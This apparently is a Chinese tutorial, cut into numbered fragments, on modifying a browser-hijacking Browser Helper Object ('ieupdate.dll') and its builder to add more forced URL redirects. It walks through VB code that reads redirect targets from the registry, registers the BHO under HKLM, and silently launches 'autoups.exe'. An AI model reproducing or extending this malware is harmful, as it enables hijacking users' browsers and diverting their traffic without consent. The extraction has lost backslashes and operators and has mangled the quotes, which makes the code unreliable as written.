1、怎样增加跳转的站.txt 不要为旧的悲伤而浪费新的眼泪！现在干什么事都要有经验的，除了老婆。没有 100 分的另一半，只有 50 分的两个人。这一讲主要将怎样增加跳转网站的数量在插件里默认提供了 5 个跳转对于这个有的人觉得不够用当然也有的人觉得用不上一切看自己喜好下面我说说如何改那个关于跳转的改这个需要在 2 个里面改一个是 dll 的原代码里面改一个是服务端的原代码里改我改成八个跳转的吧首先打开 dll 的原代码=Dim url1 As StringDim tihuan1 As StringDim url2 As StringDim tihuan2 As StringDim url3 As
2、 StringDim tihuan3 As StringDim xiaoming, xiaoqiangDim url4 As StringDim tihuan4 As StringDim url5 As StringDim tihuan5 As String=找到这一块既然我们要 8 个那么就多定义 3 个吧Dim url1 As StringDim tihuan1 As StringDim url2 As StringDim tihuan2 As StringDim url3 As StringDim tihuan3 As StringDim xiaoming, xiaoqiangDim u
3、rl4 As StringDim tihuan4 As StringDim url5 As StringDim tihuan5 As StringDim url6 As StringDim tihuan6 As StringDim url7 As StringDim tihuan7 As StringDim url8 As StringDim tihuan8 As String=然后还有下面一部分-Set lanrenreg = CreateObject(“WScript.Shell“)url1 = lanrenreg.regread(“HKCRlanrenurl1“)url2 = lanre
4、nreg.regread(“HKCRlanrenurl2“)url3 = lanrenreg.regread(“HKCRlanrenurl3“)url4 = lanrenreg.regread(“HKCRlanrenurl4“)url5 = lanrenreg.regread(“HKCRlanrenurl5“)url6 = lanrenreg.regread(“HKCRlanrenurl6“)url7 = lanrenreg.regread(“HKCRlanrenurl7“)url8 = lanrenreg.regread(“HKCRlanrenurl8“)tihuan1 = lanrenre
5、g.regread(“HKCRlanrentihuan1“)tihuan2 = lanrenreg.regread(“HKCRlanrentihuan2“)tihuan3 = lanrenreg.regread(“HKCRlanrentihuan3“)tihuan4 = lanrenreg.regread(“HKCRlanrentihuan4“)tihuan5 = lanrenreg.regread(“HKCRlanrentihuan5“)tihuan6 = lanrenreg.regread(“HKCRlanrentihuan6“)tihuan7 = lanrenreg.regread(“H
6、KCRlanrentihuan7“)tihuan8 = lanrenreg.regread(“HKCRlanrentihuan8“)-照样增加上刚才多出的几个还有下面的也要加几句If InStr(url, url1) 0 Thenhaha = 1IE.Navigate tihuan1Exit SubEnd IfIf InStr(url, url2) 0 ThenIE.Navigate tihuan2Exit SubEnd IfIf InStr(url, url3) 0 ThenIE.Navigate tihuan3Exit SubEnd IfIf InStr(url, url4) 0 Then
7、IE.Navigate tihuan4Exit SubEnd IfIf InStr(url, url5) 0 ThenIE.Navigate tihuan5Exit SubEnd If=好了这部分的代码就改完了编译生成一下将生成的 ieupdate.dll复制到 3.最终的服务端 server 导入到资源文件里面去101 对应 ieupdate.dll打开这个工程 1.RES删除那个 101 然后将生成的 ieupdate.dll 拖入到里面替换到以前的 101然后关闭保存接下来将 BHO 插件测试辅助工具.exe 和 ieupdate.dll 复制到 C:WINDOWSsystem32记得删
8、除以前的 C:WINDOWSsystem32ieupdate.dll删除不鸟就给他改个名字将 ieupdate.dll 拖到 BHO 插件测试辅助工具.exe 上然后打开 360找到这个复制出来C:WINDOWSsystem32ieupdate.dllHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser Helper ObjectsA3EFBC64-0833-4676-8A5F-F8CAF70A8C03接下来打开 3.最终的服务端 server 原代码Dim lanrenreg, homepages, u
9、rl1, url2, url3, url4, url5, tihuan1, tihuan2, tihuan3, tihuan4, tihuan5-一样加上刚才定义的几个跳转dim url6, tihuan6=然后就是这块地方Set lanrenreg = CreateObject(“WScript.Shell“)lanrenreg.RegWrite “HKCRlanren“, “lanren“lanrenreg.RegWrite “HKCRlanrenhomepages“, homepageslanrenreg.RegWrite “HKCRlanrenurl1“, url1lanrenreg.
10、RegWrite “HKCRlanrentihuan1“, tihuan1lanrenreg.RegWrite “HKCRlanrenurl2“, url2lanrenreg.RegWrite “HKCRlanrentihuan2“, tihuan2lanrenreg.RegWrite “HKCRlanrenurl3“, url3lanrenreg.RegWrite “HKCRlanrentihuan3“, tihuan3lanrenreg.RegWrite “HKCRlanrenurl4“, url4lanrenreg.RegWrite “HKCRlanrentihuan4“, tihuan
11、4lanrenreg.RegWrite “HKCRlanrenurl5“, url5lanrenreg.RegWrite “HKCRlanrentihuan5“, tihuan5-End Sub=lanrenreg.RegWrite “HKCRlanren“, “lanren“lanrenreg.RegWrite “HKCRlanrenhomepages“, homepageslanrenreg.RegWrite “HKCRlanrenurl1“, url1lanrenreg.RegWrite “HKCRlanrentihuan1“, tihuan1lanrenreg.RegWrite “HK
12、CRlanrenurl2“, url2lanrenreg.RegWrite “HKCRlanrentihuan2“, tihuan2lanrenreg.RegWrite “HKCRlanrenurl3“, url3lanrenreg.RegWrite “HKCRlanrentihuan3“, tihuan3lanrenreg.RegWrite “HKCRlanrenurl4“, url4lanrenreg.RegWrite “HKCRlanrentihuan4“, tihuan4lanrenreg.RegWrite “HKCRlanrenurl5“, url5lanrenreg.RegWrit
13、e “HKCRlanrentihuan5“, tihuan5lanrenreg.RegWrite “HKCRlanrenurl6“, url6lanrenreg.RegWrite “HKCRlanrentihuan6“, tihuan6lanrenreg.RegWrite “HKCRlanrenurl7“, url7lanrenreg.RegWrite “HKCRlanrentihuan7“, tihuan7lanrenreg.RegWrite “HKCRlanrenurl8“, url8lanrenreg.RegWrite “HKCRlanrentihuan8“, tihuan8-=好了接下
14、来就是下面的那个-wsh.RegWrite “HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser Helper Objects“ + clisd + “, Nullwsh.RegWrite “HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser Helper Objects“ + “B4D82D2A-0E8A-4D75-9D9C-3D6780037414“ + “, NullShell “autoups.exe“, vbHideNextMsgBox “自动注册结束“-这
15、块地方这个是 dll 的注册部分将B4D82D2A-0E8A-4D75-9D9C-3D6780037414替换成刚才得到的新值也就是 360 里看到的那个A3EFBC64-0833-4676-8A5F-F8CAF70A8C03=最后在这里设置新加入的跳转了url1 = ““url2 = “11111111111111111111“url3 = “sm1111111111111111111“url4 = “s111111111111111111111“url5 = “s22222222222222222222“url6 = “s22222222222222222222“url7 = “s2222
16、2222222222222222“url8 = “s22222222222222222222“tihuan1 = ““tihuan2 = “sm33333333333“tihuan3 = “sm44444444444“tihuan4 = “sm55555555555“tihuan5 = “sm66666666666666“tihuan6 = “sm66666666666666“tihuan7 = “sm66666666666666“tihuan8 = “sm66666666666666“好这里就完成了新插件的扩展了增加了 3 条跳转地址我门测试一下我们用刚增加的第 8 条跳转设置成 到 g,cn已经成功了好了本次讲解到此结束
